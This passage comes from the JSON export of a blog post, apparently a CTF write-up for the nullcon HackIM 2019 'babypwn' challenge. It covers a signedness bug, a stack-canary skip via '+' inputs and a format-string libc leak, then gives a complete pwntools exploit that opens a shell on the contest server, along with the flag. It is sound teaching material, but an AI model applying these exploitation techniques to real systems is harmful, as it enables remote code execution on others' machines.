--&gt; 0x7fffffffe4a6 --&gt; 0x0\n0032| 0x7fffffffe480 --&gt; 0x1\n0040| 0x7fffffffe488 --&gt; 0x7ffff7e9fded (&lt;handle_intel+269&gt;:    test   rax,rax)\n0048| 0x7fffffffe490 --&gt; 0x1\n0056| 0x7fffffffe498 --&gt; 0x400a2d (&lt;__libc_csu_init+77&gt;:        add    rbx,0x1)\n&#x5B;------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nBreakpoint 1, 0x0000000000400984 in main ()\n\n<\/pre><\/div>\n\n<p>The above breakpoint was hit on the first <code>scanf<\/code> call within the loop reading a signed integer. This integer will be stored at <code>0x7fffffffe470<\/code>. On the next iteration the integer will be stored at <code>0x7fffffffe470 + 1&lt;&lt;2 = 0x7fffffffe474<\/code>, then at <code>0x7fffffffe470 + 2&lt;&lt;2 = 0x7fffffffe478<\/code> and so forth.<\/p>\n<p>By leveraging the signedness vulnerabilitiy the loop will iterate from <code>0 .. 254<\/code> and we can write beyond the intended memory. What is stored there?<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [13,15]; title: ; notranslate\" title=\"\">\ngdb-peda$ telescope 0x7fffffffe470 20\n0000| 0x7fffffffe470 --&gt; 0xc2\n0008| 0x7fffffffe478 --&gt; 0x7fffffffe4a6 --&gt; 0x0\n0016| 0x7fffffffe480 --&gt; 0x1\n0024| 0x7fffffffe488 --&gt; 0x7ffff7e9fded (&lt;handle_intel+269&gt;:    test   rax,rax)\n0032| 0x7fffffffe490 --&gt; 0x1\n0040| 0x7fffffffe498 --&gt; 0x400a2d (&lt;__libc_csu_init+77&gt;:        add    rbx,0x1)\n0048| 0x7fffffffe4a0 --&gt; 0x7ffff7fe4550 (&lt;_dl_fini&gt;:    push   rbp)\n0056| 0x7fffffffe4a8 --&gt; 0x0\n0064| 0x7fffffffe4b0 --&gt; 0x4009e0 (&lt;__libc_csu_init&gt;:   push   r15)\n0072| 0x7fffffffe4b8 --&gt; 0x400710 (&lt;_start&gt;:    xor    ebp,ebp)\n0080| 0x7fffffffe4c0 --&gt; 0x7fffffff0079 --&gt; 0x0\n0088| 0x7fffffffe4c8 --&gt; 0x22f2f24de2216300\n0096| 0x7fffffffe4d0 --&gt; 0x4009e0 (&lt;__libc_csu_init&gt;:   push   r15)\n0104| 0x7fffffffe4d8 --&gt; 0x7ffff7e2109b (&lt;__libc_start_main+235&gt;:       mov    edi,eax)\n0112| 0x7fffffffe4e0 --&gt; 0x0\n0120| 0x7fffffffe4e8 --&gt; 0x7fffffffe5b8 --&gt; 0x7fffffffe7df (&quot;\/root\/Documents\/nullcon19\/babypwn\/challenge&quot;)\n0128| 0x7fffffffe4f0 --&gt; 0x100100000\n0136| 0x7fffffffe4f8 --&gt; 0x400806 (&lt;main&gt;:      push   rbp)\n0144| 0x7fffffffe500 --&gt; 0x0\n0152| 0x7fffffffe508 --&gt; 0x69e3571b4fccc558\n\n<\/pre><\/div>\n\n<p>Well, the return address of the <code>main<\/code> function (<code>0x7ffff7e2109b<\/code>) as well as the stack canary (<code>0x22f2f24de2216300<\/code>).<\/p>\n<p>Our goal is clearly to overwrite the return address. But if we keep entering signed integers until we overwrite the return address, we will also overwrite the stack canary and our overwritten return address will never be called.<\/p>\n<p>Thus we need a way to <i>skip<\/i> the first <code>scanf<\/code> calls until we reach the <code>scanf<\/code> call, which will overwrite the return address.<\/p>\n<p>Just entering something which is not a number (e.g. <code>aaa<\/code>) is not going to work since the first <code>scanf<\/code> will simply be aborted not removing anything from stdin. Thus the subsequent <code>scanf<\/code> calls will also be aborted in the same manner.<\/p>\n<p>In order to analyze the effect of different inputs for <code>scanf(\"%d\")<\/code>, I wrote the following little program, which reads two signed integers and outputs the value read as well as the return value of <code>scanf<\/code>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [9,12]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/nullcon19\/babypwn\/test# cat scanf.c\n#include &lt;stdio.h&gt;\n\nint main() {\n\n  int dword = 1337;\n  int ret = 0;\n\n  ret = scanf(&quot;%d&quot;, &amp;dword);\n  printf(&quot;dword = %d ret = %d\\t\\t&quot;, dword, ret);\n\n  ret = scanf(&quot;%d&quot;, &amp;dword);\n  printf(&quot;dword = %d ret = %d&quot;, dword, ret);\n\n  return 0;\n}\n\n<\/pre><\/div>\n\n<p>And piped every ASCII character from <code>0<\/code> to <code>255<\/code> to it:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,2,17,18,21,22]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/nullcon19\/babypwn\/test# gcc scanf.c -o scanf\nroot@kali:~\/Documents\/nullcon19\/babypwn\/test# for i in `seq 0 255`; do echo $i; python -c &quot;print(chr($i))&quot; | .\/scanf; echo &quot;&quot;; done\n0\ndword = 1337 ret = 0            dword = 1337 ret = 0\n1\ndword = 1337 ret = 0            dword = 1337 ret = 0\n2\ndword = 1337 ret = 0            dword = 1337 ret = 0\n...\n9\ndword = 1337 ret = -1           dword = 1337 ret = -1\n10\ndword = 1337 ret = -1           dword = 1337 ret = -1\n...\n42\ndword = 1337 ret = 0            dword = 1337 ret = 0\n43\ndword = 1337 ret = 0            dword = 1337 ret = -1\n44\ndword = 1337 ret = 0            dword = 1337 ret = 0\n45\ndword = 1337 ret = 0            dword = 1337 ret = -1\n46\ndword = 1337 ret = 0            dword = 1337 ret = 0\n47\ndword = 1337 ret = 0            dword = 1337 ret = 0\n48\ndword = 0 ret = 1               dword = 0 ret = -1\n49\ndword = 1 ret = 1               dword = 1 ret = -1\n50\ndword = 2 ret = 1               dword = 2 ret = -1\n51\ndword = 3 ret = 1               dword = 3 ret = -1\n52\ndword = 4 ret = 1               dword = 4 ret = -1\n53\ndword = 5 ret = 1               dword = 5 ret = -1\n54\ndword = 6 ret = 1               dword = 6 ret = -1\n55\ndword = 7 ret = 1               dword = 7 ret = -1\n56\ndword = 8 ret = 1               dword = 8 ret = -1\n57\ndword = 9 ret = 1               dword = 9 ret = -1\n58\ndword = 1337 ret = 0            dword = 1337 ret = 0\n59\ndword = 1337 ret = 0            dword = 1337 ret = 0\n...\n\n<\/pre><\/div>\n\n<p>Notice the different behavior for <code>43 = 0x2b<\/code> (<code>\"+\"<\/code>) and <code>45 = 0x2d<\/code> (<code>\"-\"<\/code>). The first <code>ret<\/code> is <code>0<\/code> meaning that no input was read. Nevertheless the second <code>ret<\/code> is <code>-1<\/code>, which means that an error occured (<code>EOF<\/code> is reached)! Thus <code>\"+\"<\/code> and <code>\"-\"<\/code> are actually read from stdin by <code>scanf<\/code> without modifying the value:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [2,4]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/nullcon19\/babypwn\/test# .\/scanf\n+\ndword = 1337 ret = 0\n10\ndword = 10 ret = 1\n\n<\/pre><\/div>\n\n<p>Taking this into account we only have to determine how much <code>scanf<\/code> calls we have to skip until we reach the return address (<code>26<\/code>) and can then enter an arbitrary value to overwrite the return address (notice that we write 4 byte at a time and the return address is 8 byte):<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [8,9,10,15,21,45,51,61]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/nullcon19\/babypwn# cat expl1.py\n#!\/usr\/bin\/env python\n\nprint(&#039;y&#039;)\nprint(&#039;AAAA&#039;)\nprint(&#039;-1&#039;)\n\nprint(&#039;+\\n&#039;*26)\nprint(str(0xdeadbeef))\nprint(str(0xdeadbeef))\nprint(&#039;a&#039;)\n\n...\n\ngdb-peda$ r &lt;&lt;&lt; $(.\/expl1.py)\nStarting program: \/root\/Documents\/nullcon19\/babypwn\/challenge &lt;&lt;&lt; $(.\/expl1.py)\nCreate a tressure box?\nname: How many coins do you have?\nTressure Box: AAAA created!\n\nProgram received signal SIGSEGV, Segmentation fault.\n&#x5B;----------------------------------registers-----------------------------------]\nRAX: 0x0\nRBX: 0x0\nRCX: 0x0\nRDX: 0x0\nRSI: 0x1\nRDI: 0x5\nRBP: 0x4009e0 (&lt;__libc_csu_init&gt;:       push   r15)\nRSP: 0x7fffffffe4d8 --&gt; 0xdeadbeefdeadbeef\nRIP: 0x4009d3 (&lt;main+461&gt;:      ret)\nR8 : 0x5f (&#039;_&#039;)\nR9 : 0x602260 --&gt; 0x0\nR10: 0x0\nR11: 0x246\nR12: 0x400710 (&lt;_start&gt;:        xor    ebp,ebp)\nR13: 0x7fffffffe5b0 --&gt; 0x1\nR14: 0x0\nR15: 0x0\nEFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)\n&#x5B;-------------------------------------code-------------------------------------]\n   0x4009cb &lt;main+453&gt;: je     0x4009d2 &lt;main+460&gt;\n   0x4009cd &lt;main+455&gt;: call   0x4006c0 &lt;__stack_chk_fail@plt&gt;\n   0x4009d2 &lt;main+460&gt;: leave\n=&gt; 0x4009d3 &lt;main+461&gt;: ret\n   0x4009d4:    nop    WORD PTR cs:&#x5B;rax+rax*1+0x0]\n   0x4009de:    xchg   ax,ax\n   0x4009e0 &lt;__libc_csu_init&gt;:  push   r15\n   0x4009e2 &lt;__libc_csu_init+2&gt;:        push   r14\n&#x5B;------------------------------------stack-------------------------------------]\n0000| 0x7fffffffe4d8 --&gt; 0xdeadbeefdeadbeef\n0008| 0x7fffffffe4e0 --&gt; 0x0\n0016| 0x7fffffffe4e8 --&gt; 0x7fffffffe5b8 --&gt; 0x7fffffffe7de (&quot;\/root\/Documents\/nullcon19\/babypwn\/challenge&quot;)\n0024| 0x7fffffffe4f0 --&gt; 0x100100000\n0032| 0x7fffffffe4f8 --&gt; 0x400806 (&lt;main&gt;:      push   rbp)\n0040| 0x7fffffffe500 --&gt; 0x0\n0048| 0x7fffffffe508 --&gt; 0x47a4788e3a2f18b0\n0056| 0x7fffffffe510 --&gt; 0x400710 (&lt;_start&gt;:    xor    ebp,ebp)\n&#x5B;------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\nStopped reason: SIGSEGV\n0x00000000004009d3 in main ()\n\n<\/pre><\/div>\n\n<p>We successfully control the instruction pointer!<\/p>\n<p>The easiest way to turn this into a shell is to overwrite the return address with the address of a libc <code>one gadget<\/code> (for more information on <code>one gadgets<\/code> have a look at my <a href=\"https:\/\/devel0pment.de\/?p=688#oneg\" target=\"_new\">article on off-by-one heap exploitation<\/a>).<\/p>\n<p>Since <code>ASLR<\/code> is enabled on the CTF server, we don&#8217;t know the base address of the libc. Luckily another vulnerabilitiy within the binary comes in handy here.<\/p>\n<h3 id=\"format\">Format string vulnerabilitiy<\/h3>\n<p>The second vulnerabilitiy is a classical <b>format string vulnerability<\/b>, which resides in the following lines of disassembly:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,4]; title: ; notranslate\" title=\"\">\n|     |     0x0040099c      488b4598       mov rax, qword &#x5B;local_68h]\n|     |     0x004009a0      4889c7         mov rdi, rax\n|     |     0x004009a3      b800000000     mov eax, 0\n|     |     0x004009a8      e823fdffff     call sub.printf_6d0\n\n<\/pre><\/div>\n\n<p>The string stored at <code>local_68h<\/code> contains <code>\"Tressure Box: \" ... our input ... \" created!\"<\/code>. This string is directly passed to <code>printf<\/code> as the first parameter, which is the format string to be used. Since we partly control the string, we can enter format specifiers to leak values from registers and the stack:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [4,8]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/nullcon19\/babypwn# .\/challenge\nCreate a tressure box?\ny\nname: %p.%p.%p.%p\nHow many coins do you have?\n1\n1\nTressure Box: 0x1.0x7f6c859f18d0.0x10.0x7fff1ab9b971 created!\n\n<\/pre><\/div>\n\n<p>We can leverage this vulnerabilitiy to leak libc addresses. Before we can calculate the actual address of a <code>one gadget<\/code> we have to determine which libc version is running on the server. This can be done by printing the value of <code>GOT<\/code> entries containing the address of libc functions and use the offset of those addresses to lookup the libc version in a libc database.<\/p>\n<p>The functions of the GOT entries we want to leak must have been called beforehand. Otherwise the GOT entries do not yet contain the function address. In this case we simply take <code>puts<\/code> and <code>malloc<\/code>.<\/p>\n<p>In order to print these two GOT entries, we have to store the addresses of the entries on the stack. This can be done by simply entering the addresses as signed integers values in the loop.<\/p>\n<p>At first we determine the GOT entry addresses:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [4,8]; title: ; notranslate\" title=\"\">\n&#x5B;0x00400710]&gt; pd 1 @ reloc.puts\n            ;-- reloc.puts:\n            ; CODE XREF from sub.puts_6b8 (0x4006b8)\n            0x00600fb0      .qword 0x0000000000000000                  ; RELOC 64 puts\n&#x5B;0x00400710]&gt; pd 1 @ reloc.malloc\n            ;-- reloc.malloc:\n            ; CODE XREF from sub.malloc_6e8 (0x4006e8)\n            0x00600fe0      .qword 0x0000000000000000                  ; RELOC 64 malloc\n\n<\/pre><\/div>\n\n<p>Now we store the addresses on the stack and use the format string vulnerabilitiy to print the values of those addresses:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [13,15,17]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/nullcon19\/babypwn# cat leak.py\n#!\/usr\/bin\/env python\n\nfrom pwn import *\n\nputs_got   = 0x00600fb0\nmalloc_got = 0x00600fe0\n\n#p = process(&#039;.\/challenge&#039;)\np = remote(&#039;pwn.ctf.nullcon.net&#039;, 4001)\n\np.sendline(&#039;y&#039;)\np.sendline(&#039;.%8$s.%9$s.&#039;)\np.sendline(&#039;4&#039;)\np.sendline(str(puts_got))\np.sendline(str(0))\np.sendline(str(malloc_got))\np.sendline(str(0))\n\nleak = p.recv(1000)\nprint(hexdump(leak))\n\n<\/pre><\/div>\n\n<p>The highlighted output contains the values of the GOT entries for <code>puts<\/code> and <code>malloc<\/code>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [7,8]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/nullcon19\/babypwn# .\/leak.py\n&#x5B;+] Opening connection to pwn.ctf.nullcon.net on port 4001: Done\n00000000  43 72 65 61  74 65 20 61  20 74 72 65  73 73 75 72  \u2502Crea\u2502te a\u2502 tre\u2502ssur\u2502\n00000010  65 20 62 6f  78 3f 0d 0a  6e 61 6d 65  3a 20 48 6f  \u2502e bo\u2502x?\u00b7\u00b7\u2502name\u2502: Ho\u2502\n00000020  77 20 6d 61  6e 79 20 63  6f 69 6e 73  20 64 6f 20  \u2502w ma\u2502ny c\u2502oins\u2502 do \u2502\n00000030  79 6f 75 20  68 61 76 65  3f 0d 0a 54  72 65 73 73  \u2502you \u2502have\u2502?\u00b7\u00b7T\u2502ress\u2502\n00000040  75 72 65 20  42 6f 78 3a  20 2e 90 f6  56 47 84 7f  \u2502ure \u2502Box:\u2502 .\u00b7\u00b7\u2502\u00b7\u00b7\u00b7\u00b7\u2502\n00000050  2e 30 41 58  47 84 7f 2e  20 63 72 65  61 74 65 64  \u2502.\u00b7\u00b7\u00b7\u2502\u00b7\u00b7\u00b7.\u2502 cre\u2502ated\u2502\n00000060  21 0d 0a                                            \u2502!\u00b7\u00b7\u2502\n00000062\n\n<\/pre><\/div>\n\n<p>Accordingly the values are <code>0x7f844756f690<\/code> and <code>0x7f8447584130<\/code>.<\/p>\n<p>Now we can use the last three digits to look up the libc version on <a href=\"https:\/\/libc.blukat.me\/\" target=\"_new\">https:\/\/libc.blukat.me\/<\/a>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1193\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/02\/nullcon19_libc.png\" alt=\"\" width=\"1314\" height=\"643\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/02\/nullcon19_libc.png 1314w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/02\/nullcon19_libc-300x147.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/02\/nullcon19_libc-768x376.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/02\/nullcon19_libc-1024x501.png 1024w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Thus the libc version used on the CTF server is <code>libc6_2.23-0ubuntu10_amd64<\/code>. We can directly download the libc from <a href=\"https:\/\/libc.blukat.me\/\" target=\"_new\">https:\/\/libc.blukat.me\/<\/a> and use <code>one_gadget<\/code> to find the offset for all one gadgets:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,13,14,18,22,26]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/nullcon19\/babypwn# wget https:\/\/libc.blukat.me\/d\/libc6_2.23-0ubuntu10_amd64.so\n--2019-02-03 11:39:08--  https:\/\/libc.blukat.me\/d\/libc6_2.23-0ubuntu10_amd64.so\nResolving libc.blukat.me (libc.blukat.me)... 139.162.107.111\nConnecting to libc.blukat.me (libc.blukat.me)|139.162.107.111|:443... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 1868984 (1.8M) &#x5B;application\/octet-stream]\nSaving to: \u2018libc6_2.23-0ubuntu10_amd64.so\u2019\n\nlibc6_2.23-0ubuntu10_amd64. 100%&#x5B;===========================================&gt;]   1.78M   857KB\/s    in 2.1s\n\n2019-02-03 11:39:11 (857 KB\/s) - \u2018libc6_2.23-0ubuntu10_amd64.so\u2019 saved &#x5B;1868984\/1868984]\n\nroot@kali:~\/Documents\/nullcon19\/babypwn# one_gadget libc6_2.23-0ubuntu10_amd64.so\n0x45216 execve(&quot;\/bin\/sh&quot;, rsp+0x30, environ)\nconstraints:\n  rax == NULL\n\n0x4526a execve(&quot;\/bin\/sh&quot;, rsp+0x30, environ)\nconstraints:\n  &#x5B;rsp+0x30] == NULL\n\n0xf02a4 execve(&quot;\/bin\/sh&quot;, rsp+0x50, environ)\nconstraints:\n  &#x5B;rsp+0x50] == NULL\n\n0xf1147 execve(&quot;\/bin\/sh&quot;, rsp+0x70, environ)\nconstraints:\n  &#x5B;rsp+0x70] == NULL\n\n<\/pre><\/div>\n\n<p>Now we are set to forge our final exploit.<\/p>\n<h3 id=\"final\">Final exploit<\/h3>\n<p>The final exploit does the following:<\/p>\n<ul>\n<li>Leak a libc address and calculate the libc base address (I precalculated the offset from the leak to the base address using the GOT entry leaks).<\/li>\n<li>Overwrite the return address with the address of <code>entry0<\/code>, which will simply start the program once again after we received the leak.<\/li>\n<li>Calculate the address of the a <code>one gadget<\/code> using the received leak.<\/li>\n<li>Overwrite the return address with the address of the <code>one gadget<\/code>.<\/li>\n<li>Done \ud83d\ude42<\/li>\n<\/ul>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/env python\n\nfrom pwn import *\n\np = remote(&#039;pwn.ctf.nullcon.net&#039;, 4001)\n\nentry0           = 0x400710\nog_offset        = 0x45216\nlibc_leak_offset = 0x5f1168\n\n# leak libc address\np.sendline(&#039;y&#039;)\np.sendline(&#039;.%10$p_&#039;)\np.sendline(&#039;-1&#039;)\n\n# overwrite return address with entry0 address\nfor i in range(26): p.sendline(&#039;+&#039;)\np.sendline(str(entry0))\np.sendline(str(0))\np.sendline(&#039;a&#039;)\n\n# receive leak\np.recvuntil(&#039;.&#039;)\nlibc_leak = p.recvuntil(&#039;_&#039;)\nlibc_leak = libc_leak&#x5B;:libc_leak.index(&#039;_&#039;)]\nlibc_leak = int(libc_leak, 16)\nlog.success(&#039;libc_leak: &#039; + hex(libc_leak))\nlibc_base = libc_leak - libc_leak_offset\nlog.success(&#039;libc_base: &#039; + hex(libc_base))\n\n# calculcate one gadget address\nog = libc_base + og_offset\n\n# second run of main function\np.sendline(&#039;y&#039;)\np.sendline(&#039;AAAA&#039;)\np.sendline(&#039;-1&#039;)\n\n# overwrite return address with address of one gadget\nfor i in range(26): p.sendline(&#039;+&#039;)\np.sendline(str(og&amp;0xffffffff))\np.sendline(&#039;y&#039;)\n\n# receive shell\np.interactive()\n\n<\/pre><\/div>\n\n<p>Running the script:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,3,4,10,11,21,22]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/nullcon19\/babypwn# .\/final.py\n&#x5B;+] Opening connection to pwn.ctf.nullcon.net on port 4001: Done\n&#x5B;+] libc_leak: 0x7f8447af1168\n&#x5B;+] libc_base: 0x7f8447500000\n&#x5B;*] Switching to interactive mode\n created!\nCreate a tressure box?\nname: How many coins do you have?\nTressure Box: AAAA created!\n$ id\nuid=1000(pwn) gid=1000(pwn) groups=1000(pwn)\n$ ls -al\ntotal 36\ndrwxr-x--- 1 root pwn  4096 Feb  1 14:00 .\ndrwxr-xr-x 1 root root 4096 Feb  1 13:44 ..\n-rw-r--r-- 1 root pwn   220 Feb  1 13:44 .bash_logout\n-rw-r--r-- 1 root pwn  3771 Feb  1 13:44 .bashrc\n-rw-r--r-- 1 root pwn   655 Feb  1 13:44 .profile\n-rwxrwxr-x 1 root root 8824 Feb  1 13:58 challenge\n-r--r----- 1 root pwn    42 Jan 28 06:28 flag\n$ cat flag\nhackim19{h0w_d1d_y0u_g37_th4t_c00k13?!!?}\n$ exit\n&#x5B;*] Got EOF while reading in interactive\n\n<\/pre><\/div>\n\n<p>The flag is <code><span class=\"spanFlag\">hackim19{h0w_d1d_y0u_g37_th4t_c00k13?!!?}<\/span><\/code>.<\/p>","protected":false},"excerpt":{"rendered":"<p>The nullcon HackIM 2019 CTF (ctftime.org) ran from 01\/02\/2019, 16:30 UTC to 03\/02\/2019 04:30 UTC. I did the pwn challenge babypwn, which was really fun to do. The following article contains my writeup being divided into the following sections: \u2192 Challenge description\u2192 Security mechanisms and disassembly\u2192 Signedness vulnerabilitiy\u2192 Format string vulnerabilitiy\u2192 Final exploit<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24,7],"tags":[9,13,18,10,11,19],"class_list":["post-1191","post","type-post","status-publish","format-standard","hentry","category-ctf","category-writeup","tag-binary","tag-elf","tag-gdb","tag-pwn","tag-r2","tag-x64"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/1191"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1191"}],"version-history":[{"count":9,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/1191\/revisions"}],"predecessor-version":[{"id":1203,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/1191\/revisions\/1203"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1191"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1191"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1191"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}